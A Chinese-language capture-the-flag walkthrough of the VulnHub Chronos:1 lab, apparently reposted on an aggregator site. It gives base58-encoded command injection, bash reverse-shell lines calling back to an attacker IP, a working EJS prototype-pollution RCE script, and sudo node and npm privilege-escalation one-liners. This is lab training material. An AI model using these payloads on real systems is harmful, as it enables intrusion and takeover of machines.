欢迎您访问365答案网,请分享给你的朋友!
生活常识 学习资料

VulnHub日记(十八):Chronos:1

时间:2023-06-27
参考链接

Vulnhub:
参考博客
GTFOBins

开始练习

本机ip:192.168.56.102
目的机ip:192.168.56.126

fping -aqg 192.168.56.0/24


nmap 扫描主机

nmap -A -T4 -v 192.168.56.126

扫描目录无果,开放22,80和8000,访问


内容相似,bp抓包,发现参数format

将内容进行识别,可能是base64或base58

两个都测试后,是base58

bp去除参数,查看结果比较,猜测是date命令

使用pwd测试,确认可以rce


拼接获取webshell

&& bash -c 'bash -i >& /dev/tcp/192.168.56.102/4396 0>&1‘

base58编码

5ZUquXDzLaQ9v2JVGCs7yoNZW1yoG6jzAs7NYSJLVTF2XfF9FH3MnsGKCnp1cqZKA9M7QmAmv3iy5x

kali开启监听端口

nc -nvlp 4396


回退,有一个该应用的第二个版本,backend文件夹里有一个express-fileupload版本有已知漏洞可以提升权限

利用脚本原文链接

############################################################### Run this .py to perform EJS-RCE attack# referenced from# https://blog.p6.is/Real-World-JS-1/# # Timothy, 10 November 2020################################################################# importsimport requests### commands to run on victim machinecmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.102/4396 0>&1"'print("Starting Attack...")### polluterequests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': ( None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})### execute commandrequests.get('http://127.0.0.1:8080')print("Finished!")

kali开启httpserver,webshell中使用wget或curl将脚本存入靶机

kali上: python -m SimpleHTTPServer

cd /tmpcurl http://192.168.56.102:8000/exp1.py./exp1.py



再开启一个监听端口,执行脚本,获取用户shell

sudo -l


尝试npm和node提权,node成功了

node部分

资料链接

sudo node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'

npm部分

资料链接

TF=$(mktemp -d)echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.jsonsudo npm -C $TF --unsafe-perm i

FLAG

Copyright © 2016-2020 www.365daan.com All Rights Reserved. 365答案网 版权所有 备案号:

部分内容来自互联网,版权归原作者所有,如有冒犯请联系我们,我们将在三个工作时内妥善处理。